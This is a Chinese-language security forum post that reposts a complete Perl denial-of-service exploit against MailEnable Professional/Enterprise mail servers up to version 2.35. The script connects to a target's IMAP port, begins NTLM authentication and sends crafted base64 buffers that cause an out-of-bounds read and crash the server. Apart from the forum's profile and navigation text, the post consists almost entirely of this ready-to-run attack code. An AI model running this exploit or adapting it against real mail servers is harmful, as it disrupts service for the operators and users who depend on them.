‹‹ 上一主题 | 下一主题 ››
发新话题
打印

MailEnable Professional/Enterprise <= 2.35 Out of Bounds DoS Exploit

pub!1c

魔

团队执行官

Rank: 8Rank: 8

E.S.T核心成员

帖子
3926 
精华
128 
积分
209876 
阅读权限
200 
性别
男 
在线时间
1108 小时 
注册时间
2007-10-23 
最后登录
2008-9-5 

资料收集奖 运营支持奖

楼主 大 中 小 发表于 2007-2-16 11:38  只看该作者

MailEnable Professional/Enterprise <= 2.35 Out of Bounds DoS Exploit

复制内容到剪贴板
代码:
#!/usr/bin/perl
#
# maildisable-v5.pl
#
# Mail Enable Professional/Enterprise <=v2.35 (win32)
# by mu-b - Wed Nov 29 2006
#
# - Tested on: Mail Enable Professional v2.32 (win32) - with HOTFIX
#          Mail Enable Professional v2.33 (win32)
#          Mail Enable Professional v2.34 (win32)
#          Mail Enable Professional v2.35 (win32)
#
# out of bounds read == DoS
#
########

use Getopt::Std; getopts(&#39;t:&#39;, \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{&#39;t&#39;})) { $target = $arg{&#39;t&#39;} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = &#39;A&#39;;

if (connect_host($target, $imapd_port)) {
   print("-> * Connected\n");
   send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
   sleep($send_delay);

   $buf = ($PAD x 12).
        "\xfa\xff\xff\xff".
        ($PAD x 12);
   send(SOCKET, encode_base64($buf)."\r\n", 0);
   sleep($send_delay);

   $buf = ($PAD x 28).
        "\x00\x01".
        ($PAD x 2).
        "\xef\xbe\xad\xde";
   send(SOCKET, encode_base64($buf)."\r\n", 0);
   sleep($send_delay);

   print("-> * Successfully sent payload!\n");
}

sub print_header {
   print("MailEnable Pro <=v2.36 DoS POC\n");
   print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

    -t <hostname>   : hostname to test
));

   exit(1);
}

sub connect_host {
   ($target, $port) = @_;
   $iaddr  = inet_aton($target)            || die("Error: $!\n");
   $paddr  = sockaddr_in($port, $iaddr)      || die("Error: $!\n");
   $proto  = getprotobyname(&#39;tcp&#39;)          || die("Error: $!\n");

   socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
   connect(SOCKET, $paddr)               || die("Error: $!\n");
   return(1338);
}

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题